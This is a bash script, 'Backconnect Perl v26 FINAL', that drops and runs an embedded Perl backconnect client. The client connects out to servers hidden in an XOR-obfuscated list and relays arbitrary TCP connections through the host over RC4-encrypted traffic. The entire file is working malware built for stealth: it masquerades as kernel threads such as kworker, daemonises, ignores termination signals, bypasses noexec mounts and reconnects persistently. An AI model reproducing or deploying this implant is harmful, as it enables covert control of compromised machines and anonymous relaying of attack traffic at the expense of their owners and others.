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#!/bin/bash # Backconnect Perl v26 FINAL - All features + All fixes # BCPL_MARKER - unique identifier for pgrep isolation N="bcpl";D=3;PD="" # Encrypted server data (fill after using -e) ENC_DATA="545941565b5a435b5d5c5e5b555c5b47544f5c52405d58574b4b574054535e49535b5c445d594350504741575d485e4655555b505d4f5e544b405a5b4b5f575d565a5c5e5a5b5e425644415c5053414a5f415e515a55595656525c584b545a464956574a5f5a585851465c4e56504141525a415d56415c5753485b5a56465c45495d5a514056554c5447585451525c53545941565b5a435b5d5c5e5b5d5c5b47544f5c52405d58574b4b574054535649535b5c445d594350504741575d485e4557555b505d4f5e544b405a5b4b5f575d56595e5e5a5b5e425644415c5053414a5f415e525c55595656525c584b545a464956574a5f595e5851465c4e56504141525a415d56415c5451485b5a56465c45495d5a514056554c54445a5451525c53545941565b5a435b5d5c5e58535c5b47544f5c52405d58574b4b574054505849535b5c445d594350504741575d485e455f555b505d4f5e544b405a5b4b5f575d5659565e5a5b5e425644415c5053414a5f415e535e55595656525c584b545a464956574a5f585c5851465c4e56504141525a415d56415c5557485b5a56465c45495d5a514056554c54455c5451525c53545941565b5a435b5d5c5e59515c5b47544f5c52405d58574b4b574054515a49535b5c445d594350504741575d485e4451555b505d4f5e544b405a5b4b5f575d5658585e5a5b5e425644415c5053414a5f415e535655595656525c584b545a464956574a5f58545851465c4e56504141525a415d56415c5a55485b5a56465c45495d5a514056554c544a5e5451525c53545941565b5a435b5d5c5e56575c5b47544f5c52405d58574b4b5740545e5c49535b5c445d594350504741575d485e4b53555b505d4f5b504b445f4054555e5d5658575e5a5b5e425340415855485e4056415e53575559565652595c4b505f5d565c5e4a5f575d5851465c4e5354414557415e575f415c5a54485b5a5646594149595f4a5f5c5c4c544a5d5451525c53515d41525e415c51545c5e56565c5b47544f595640595d4c54415e40545e5b49535b5c44585d4354555c5e5d54485e4b52555b505d4f5b504b445f4054555e5d5657595e5a5b5e425340415855485e4056415e5c595559565652595c4b505f5d565c5e4a5f57555851465c4e5354414557415e575f415c5a5c485b5a5646594149595f4a5f5c5c4c544b5f5451525c53515d41525e415c51545c5e57545c5b47544f595640595d4c54415e40545f5d49535b5c44585d4354555c5e5d54485e4a54555b505d4f5b504b445f4054555e5d56565b5e5a5b5e425340415855485e4056415e5d5b5559565652595c4b505f5d565c5e4a5f565b5851465c4e5354414557415e575f415c5b52485b5a5646594149595f4a5f5c5c4c544b575451525c53515d41525e415c51545c5e575c5c5b47544f595640595d4c54415e4057565f49535b5c44585d4354555c5e5d54485d4356555b505d4f5b504b445f4054555e5d555f5d5e5a5b5e425340415855485e4056415d545d5559565652595c4b505f5d565c5e4a5c5f595851465c4e5354414557415e575f415f5250485b5a5646594149595f4a5f5c5c4c57475c5451525c" # ═══════════════════════════════════════════════════════════════════════ # HELPER FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ get_arch() { local arch=$(uname -m 2>/dev/null || echo "x86_64") case "$arch" in x86_64|amd64) echo "x86_64" ;; aarch64|arm64) echo "aarch64" ;; i686|i386|i586) echo "i686" ;; armv7l|armhf) echo "armv7" ;; *) echo "x86_64" ;; esac } find_writable() { local dirs=( "/tmp" "/var/tmp" "/dev/shm" "/run" "/run/user/$UID" "/run/user/$(id -u 2>/dev/null)" "$HOME" "${TMPDIR:-}" "${TEMP:-}" "${TMP:-}" "/usr/tmp" "/var/cache" "." "$PWD" "$(dirname "$0" 2>/dev/null)" ) for d in "${dirs[@]}"; do [ -z "$d" ] && continue [ ! -d "$d" ] && continue local tf="$d/.${N}_test_$$" if touch "$tf" 2>/dev/null; then rm -f "$tf" 2>/dev/null echo "$d/.$N" return 0 fi done echo "" return 1 } find_perl() { local perls=( "perl" "/usr/bin/perl" "/usr/local/bin/perl" "/opt/perl/bin/perl" "/opt/local/bin/perl" "/bin/perl" "/usr/pkg/bin/perl" "$HOME/perl5/bin/perl" ) for p in "${perls[@]}"; do local pbin="" if command -v "$p" &>/dev/null; then pbin="$p" elif [ -x "$p" ]; then pbin="$p" fi if [ -n "$pbin" ]; then if "$pbin" -e 'use threads;' 2>/dev/null; then echo "$pbin" return 0 fi fi done return 1 } # ═══════════════════════════════════════════════════════════════════════ # ENCRYPTION FUNCTIONS # ═══════════════════════════════════════════════════════════════════════ xc() { local k="$1" d="$2" o="" i=0 local kl="${#k}" [ "$kl" -eq 0 ] && { echo ""; return; } while [ $i -lt ${#d} ]; do local dc="${d:$i:2}" [ ${#dc} -lt 2 ] && break local db=$((16#$dc)) local ki=$((i/2%kl)) local kb=$(printf '%d' "'${k:$ki:1}") local xb=$((db^kb)) o+=$(printf '%02x' $xb) i=$((i+2)) done echo "$o" } s2h() { local s="$1" o="" i for ((i=0;i<${#s};i++)); do o+=$(printf '%02x' "'${s:$i:1}") done echo "$o" } h2s() { local h="$1" o="" i for ((i=0;i<${#h};i+=2)); do o+=$(printf "\\x${h:$i:2}") done echo -e "$o" } enc_srv() { local k="$1"; shift echo "ENC_DATA=\"$(xc "$k" "$(s2h "$*")")\"" } dec_srv() { [ -z "$2" ] && return h2s "$(xc "$1" "$2")" } # ═══════════════════════════════════════════════════════════════════════ # PROCESS MANAGEMENT # ═══════════════════════════════════════════════════════════════════════ fp() { pgrep -f "BCPL_MARKER.*$1.*$2" 2>/dev/null } kt() { local pids=$(fp "$1" "$2") [ -z "$pids" ] && return 0 echo "$pids" | xargs -r kill -15 2>/dev/null sleep 0.5 echo "$pids" | xargs -r kill -9 2>/dev/null sleep 0.3 } ka() { local pids=$(pgrep -f "BCPL_MARKER" 2>/dev/null) if [ -n "$pids" ]; then echo "$pids" | xargs -r kill -15 2>/dev/null sleep 1 pgrep -f "BCPL_MARKER" 2>/dev/null | xargs -r kill -9 2>/dev/null fi [ -n "$PD" ] && rm -f "$PD"/*.pl "$PD"/*.pid 2>/dev/null [ -n "$PD" ] && rmdir "$PD" 2>/dev/null echo "All Perl clients killed" exit 0 } st() { echo "═══════════════════════════════════════════" echo " Backconnect Perl v26 Status" echo "═══════════════════════════════════════════" echo " Perl: $PERL" echo " Version: $($PERL -v 2>/dev/null | grep -o 'v[0-9.]*' | head -1)" echo " Threads: $($PERL -e 'use threads; print "yes"' 2>/dev/null || echo "no")" echo " Directory: ${PD:-<none>}" echo " ENC_DATA: ${ENC_DATA:+SET (${#ENC_DATA} chars)}" [ -z "$ENC_DATA" ] && echo " ENC_DATA: <empty>" echo "───────────────────────────────────────────" echo " Running processes:" local count=0 if [ -n "$PD" ] && [ -d "$PD" ]; then for f in "$PD"/*.pid; do [ -f "$f" ] || continue local p=$(cat "$f" 2>/dev/null) local n=$(basename "$f" .pid) if [ -n "$p" ] && kill -0 "$p" 2>/dev/null; then if grep -q "BCPL_MARKER" /proc/$p/cmdline 2>/dev/null; then echo " ✓ $n (PID $p)" count=$((count+1)) fi fi done fi [ $count -eq 0 ] && echo " (none)" echo "═══════════════════════════════════════════" exit 0 } ir() { pgrep -f "BCPL_MARKER.*$1.*$2" >/dev/null 2>&1 && return 0 [ -z "$PD" ] && return 1 local pidf="$PD/${1}_${2}.pid" [ -f "$pidf" ] || return 1 local p=$(cat "$pidf" 2>/dev/null) [ -z "$p" ] && return 1 kill -0 "$p" 2>/dev/null || return 1 grep -q "BCPL_MARKER" /proc/$p/cmdline 2>/dev/null } # ═══════════════════════════════════════════════════════════════════════ # SPAWN FUNCTION # ═══════════════════════════════════════════════════════════════════════ spawn() { local host="$1" port="$2" id="$3" if [ -z "$PD" ]; then echo "No writable directory found" return 1 fi mkdir -p "$PD" 2>/dev/null local pidf="$PD/${id}.pid" local plf="$PD/${id}.pl" cat > "$plf" << 'PERLEND' #!/usr/bin/perl # BCPL_MARKER - DO NOT REMOVE use strict;use warnings;use Socket;use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl;use Fcntl qw(:flock);use threads;use threads::shared;use POSIX qw(setsid); my $host=$ARGV[0]||'127.0.0.1';my $port=$ARGV[1]||443;my $pidf=$ARGV[2]||''; my $reconnect_delay:shared=5;my $max_reconnect_delay=60; sub get_proc_name{my @n=('kworker','migration','ksoftirqd','watchdog','rcu_sched','kswapd'); my @s=('','/0','/1','/0:0');return $n[rand@n].$s[rand@s];} my $pn=get_proc_name(); eval{if(open(my $fh,'>','/proc/self/comm')){print $fh substr($pn,0,15);close($fh);}}; fork and exit;setsid();fork and exit; open(STDIN,'<','/dev/null');open(STDOUT,'>','/dev/null');open(STDERR,'>','/dev/null'); if($pidf){open(my $pf,'>',$pidf);print $pf $$;close($pf);} $SIG{HUP}=$SIG{TERM}=$SIG{INT}=$SIG{PIPE}='IGNORE'; my $xordata="\x00"x50;for(my $i=0;$i<50;$i++){substr($xordata,$i,1)=pack('C',rand(255));} sub Rc4_crypt{my $passw=shift;my $length=shift;my $buff0=shift;my $start=shift;my $sz=shift; my $rc4="\x00"x256;my($p0,$p1,$p2,$p3,$p4,$p5,$p6,$p7,$p8)=(0,0,0,0,0,0,0,0,0); my $rcx=$sz;my $rsi=0;my $rbx=0;my $gs=0;my $t=0; for(my $i=0;$i<=255;$i++){substr($rc4,$i,1)=pack('C',$i);} do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1)))); $rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0); while(1){if($gs==0){$p2=0;$p3=$length;}if($gs!=0){$gs=0;$p2++;if(--$p3==0){next;}} $p7=unpack('C',substr($rc4,$p0,1));$t=unpack('C',substr($$passw,$p2,1)); $p1+=$t;$p1=$p1&255;$p1+=$p7;$p1=$p1&255;$p6=unpack('C',substr($rc4,$p1,1)); substr($rc4,$p0,1)=pack('C',$p6);substr($rc4,$p1,1)=pack('C',$p7); $p0++;$p0=$p0&255;if($p0!=0){$gs=1;next;}$p4=$sz;$p1=0;$p0=0;$p2=0;$p3=0; while(1){$p2++;$p2=$p2&255;$p7=unpack('C',substr($rc4,$p2,1));$p1+=$p7;$p1=$p1&255; $p8=unpack('C',substr($rc4,$p1,1));substr($rc4,$p2,1)=pack('C',$p8); substr($rc4,$p1,1)=pack('C',$p7);$p8+=$p7;$p8=$p8&255; $p0=unpack('C',substr($rc4,$p8,1));$p5=unpack('C',substr($$buff0,$start+$p3,1)); $p5=$p5^$p0;substr($$buff0,$start+$p3,1)=pack('C',$p5);$p3++;if(--$p4==0){last;}}last;} $rsi=0;$rcx=$sz;$rbx=0; do{substr($$buff0,$start+$rsi,1)=pack('C',(unpack('C',substr($$buff0,$start+$rsi,1))^unpack('C',substr($$passw,$rbx,1)))); $rsi++;$rbx++;$rcx--;if($rbx==$length){$rbx=0;}}while($rcx>0);} sub synsend{my $cSocket=shift;my $buffer=shift;my $flags=shift; open(my $fh,"<",'/dev/null');flock($fh,LOCK_EX);send($cSocket,$buffer,$flags);flock($fh,LOCK_UN);close($fh);} sub newConnection{my $num=shift;my $socketarray=shift;my $sSocket=shift;my $cSocket=shift;my $buff0=shift; threads->create(sub{my $responce=pack('C',$num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain='';my $port=0;my $_ret=0;my $data='';my $buffer=''; setsockopt($cSocket,IPPROTO_TCP,TCP_NODELAY,1);fcntl($cSocket,F_SETFL,O_NONBLOCK); if(unpack('C',substr($buff0,7,1))==3){$domain=substr($buff0,9,unpack('C',substr($buff0,8,1))); $port=unpack('S',substr($buff0,9+unpack('C',substr($buff0,8,1))+1,1).substr($buff0,9+unpack('C',substr($buff0,8,1))+0,1));} elsif(unpack('C',substr($buff0,7,1))==1){$domain=sprintf("%d.%d.%d.%d",unpack('C',substr($buff0,8+0,1)), unpack('C',substr($buff0,8+1,1)),unpack('C',substr($buff0,8+2,1)),unpack('C',substr($buff0,8+3,1))); $port=unpack('S',substr($buff0,12+1,1).substr($buff0,12+0,1));}else{goto close_;} eval{my $paddr=sockaddr_in($port,inet_aton($domain));connect($cSocket,$paddr); vec(my $win='',fileno($cSocket),1)=1;unless(select(undef,$win,undef,15)){goto close_;} fcntl($cSocket,F_SETFL,0);substr($responce,4,1)="\x00";$_ret=1;}; close_:Rc4_crypt(\$xordata,50,\$responce,0,3);Rc4_crypt(\$xordata,50,\$responce,3,10); synsend($sSocket,$responce,0);Rc4_crypt(\$xordata,50,\$responce,0,3); if($_ret==1){while($$socketarray[$num]==1){vec(my $rin='',fileno($cSocket),1)=1; unless(select($rin,undef,undef,1)){next;}$data='';recv($cSocket,$data,65530,0);unless($data){last;} $buffer=pack('C',$num).pack('S',length($data)).$data;Rc4_crypt(\$xordata,50,\$buffer,0,3); Rc4_crypt(\$xordata,50,\$buffer,3,length($data));synsend($sSocket,$buffer,0);}} $$socketarray[$num]=0;close($cSocket);substr($responce,1,2)="\x00\x00"; Rc4_crypt(\$xordata,50,\$responce,0,3);synsend($sSocket,substr($responce,0,3),0);threads->detach();});} sub bccnct{my $h=shift;my $p=shift;my $remaining=0;my $remaining4=0;my @socketarr;my @socketarray:shared; my $buffer="\x00"x100;my $buffernull="\x00"x3;my $buffer0='';my $isExit=0;my $ecx=0;my $eax=0; my $data='';my $_ret=0;my $ebx=0;my $edx=0;my $connected=0; socket($socketarr[0],PF_INET,SOCK_STREAM,getprotobyname('tcp')); setsockopt($socketarr[0],IPPROTO_TCP,TCP_NODELAY,1); my $paddr=sockaddr_in($p,inet_aton($h));unless(connect($socketarr[0],$paddr)){goto close0;} substr($buffer,0,50)=$xordata;substr($buffer,50,2)="\xFF\xFF";substr($buffer,54,4)="Perl"; Rc4_crypt(\$xordata,50,\$buffer,50,50);send($socketarr[0],$buffer,0);$connected=1;$reconnect_delay=5; while(1){if($remaining4!=4){vec(my $rin='',fileno($socketarr[0]),1)=1;my $ret=select($rin,undef,undef,60); next if($ret<0);if($ret==0){last if(substr($buffernull,0,3)ne"\x00\x00\x00");last if($remaining!=0); last if($remaining4!=0);Rc4_crypt(\$xordata,50,\$buffernull,0,3);synsend($socketarr[0],$buffernull,0); $buffernull="\x00"x3;next;}}if($remaining!=0||$remaining4==4){if($edx==0){ if(substr($buffer0,0,1)eq"\xFF"&&substr($buffer0,1,1)eq"\xFE"){$isExit=1;last;} elsif($ebx<200&&$ebx>0){$socketarray[$ebx]=0;}}else{$ecx=$edx;$ecx=$ecx-$remaining;$data=''; recv($socketarr[0],$data,$ecx,0);unless($data){last;}$remaining+=length($data);$buffer0.=$data; if($edx==$remaining){Rc4_crypt(\$xordata,50,\$buffer0,4,$remaining); if(unpack('C',substr($buffer0,0,1))==0){if($ebx<200&&$ebx>0){ socket($socketarr[$ebx],PF_INET,SOCK_STREAM,getprotobyname('tcp'));$socketarray[$ebx]=1; newConnection($ebx,\@socketarray,$socketarr[0],$socketarr[$ebx],$buffer0);}} else{if($ebx<200&&$ebx>0){send($socketarr[$ebx],substr($buffer0,4,$remaining),0);}}$remaining=0;}}$remaining4=0;} else{if($remaining4==0){$buffer0='';}$eax=4;$eax=$eax-$remaining4;$data=''; recv($socketarr[0],$data,$eax,0);unless($data){last;}$remaining4+=length($data);$buffer0.=$data; $buffernull="\x00"x3;if($remaining4==4){Rc4_crypt(\$xordata,50,\$buffer0,0,4); $ebx=unpack('C',substr($buffer0,1,1));$edx=unpack('S',substr($buffer0,2,2));$_ret=1;}}} close0:close($socketarr[0]);for(my $i=0;$i<200;$i++){$socketarray[$i]=0;} if(!$connected){$reconnect_delay=$reconnect_delay*1.5;$reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;} sleep $reconnect_delay;if($isExit==1){exit;}return $_ret;} while(1){eval{bccnct($host,$port);};if($@){$reconnect_delay=$reconnect_delay*1.5; $reconnect_delay=$max_reconnect_delay if $reconnect_delay>$max_reconnect_delay;sleep $reconnect_delay;}} PERLEND chmod +x "$plf" 2>/dev/null # Method 1: Direct execution "$PERL" "$plf" "$host" "$port" "$pidf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 # Method 2: Via stdin (bypass noexec) "$PERL" - "$host" "$port" "$pidf" < "$plf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 # Method 3: Via pipe cat "$plf" | "$PERL" - "$host" "$port" "$pidf" 2>/dev/null & sleep 1 [ -f "$pidf" ] && local pid=$(cat "$pidf") && kill -0 "$pid" 2>/dev/null && return 0 return 1 } # ═══════════════════════════════════════════════════════════════════════ # INITIALIZATION # ═══════════════════════════════════════════════════════════════════════ PD="$(find_writable)" PERL="$(find_perl)" if [ -z "$PERL" ]; then echo "ERROR: No Perl with threads found" echo "Searched: perl, /usr/bin/perl, /usr/local/bin/perl, etc." echo "Make sure perl is installed with threads support" exit 1 fi # ═══════════════════════════════════════════════════════════════════════ # MAIN LOGIC # ═══════════════════════════════════════════════════════════════════════ SRV=();FORCE=0 case "${1:-}" in -h|--help) echo "Backconnect Perl v26 FINAL" echo "" echo "Usage: $0 [options] [server:port ...]" echo "" echo "Options:" echo " -e KEY srv:port... Encrypt server list" echo " -d KEY [-f] Decrypt ENC_DATA and run" echo " -k Kill all Perl clients" echo " -s Show status" echo " -f Force restart" echo " -h, --help Show this help" echo "" echo "Examples:" echo " $0 server.com:443 # Direct run" echo " $0 srv1:443 srv2:8080 srv3:443 # Multiple servers" echo " $0 -e mykey srv1:443 srv2:443 # Encrypt servers" echo " $0 -d mykey # Decrypt and run" echo " $0 -d mykey -f # Decrypt + force restart" echo "" echo "Current config:" echo " Perl: $PERL" echo " Dir: ${PD:-<none>}" exit 0 ;; -k) ka ;; -s) st ;; -e) [ -z "$2" ] && { echo "Usage: $0 -e KEY server:port [server:port ...]"; exit 1; } K="$2"; shift 2 [ $# -eq 0 ] && { echo "ERROR: No servers specified"; exit 1; } enc_srv "$K" "$@" echo "" echo "Now insert this line into the script (replace ENC_DATA=\"\")" echo "Then run: $0 -d $K" exit 0 ;; -d) [ -z "$2" ] && { echo "Usage: $0 -d KEY [-f]"; exit 1; } K="$2"; shift 2 [ "${1:-}" = "-f" ] && { FORCE=1; shift; } if [ -z "$ENC_DATA" ]; then echo "ERROR: ENC_DATA is empty" echo "" echo "You need to:" echo " 1. Run: $0 -e KEY server:port..." echo " 2. Copy the output ENC_DATA=\"...\" into this script" echo " 3. Then run: $0 -d KEY" exit 1 fi DE=$(dec_srv "$K" "$ENC_DATA") if [ -z "$DE" ]; then echo "ERROR: Decryption failed" echo " ENC_DATA length: ${#ENC_DATA}" echo " KEY length: ${#K}" echo "" echo "Make sure you use the same key for -e and -d" exit 1 fi for s in $DE; do [[ "$s" == *:* ]] && SRV+=("$s") || SRV+=("$s:443") done ;; -f) FORCE=1; shift for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443") done ;; *) for a in "$@"; do [[ "$a" == *:* ]] && SRV+=("$a") || SRV+=("$a:443") done ;; esac [ ${#SRV[@]} -eq 0 ] && { echo "No servers. Use -h for help"; exit 1; } mkdir -p "$PD" 2>/dev/null c=0 for s in "${SRV[@]}"; do h="${s%:*}"; p="${s#*:}"; id="${h}_${p}" c=$((c+1)) if ir "$h" "$p"; then if [ "$FORCE" = "1" ]; then printf "[%d/%d] %s:%s replacing... " "$c" "${#SRV[@]}" "$h" "$p" kt "$h" "$p" sleep 0.5 else echo "[$c/${#SRV[@]}] $h:$p already running (use -f to restart)" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" continue fi else printf "[%d/%d] %s:%s " "$c" "${#SRV[@]}" "$h" "$p" fi spawn "$h" "$p" "$id" && echo "OK" || echo "FAIL" [ "$c" -lt "${#SRV[@]}" ] && sleep "$D" done echo "Done. Use -s for status."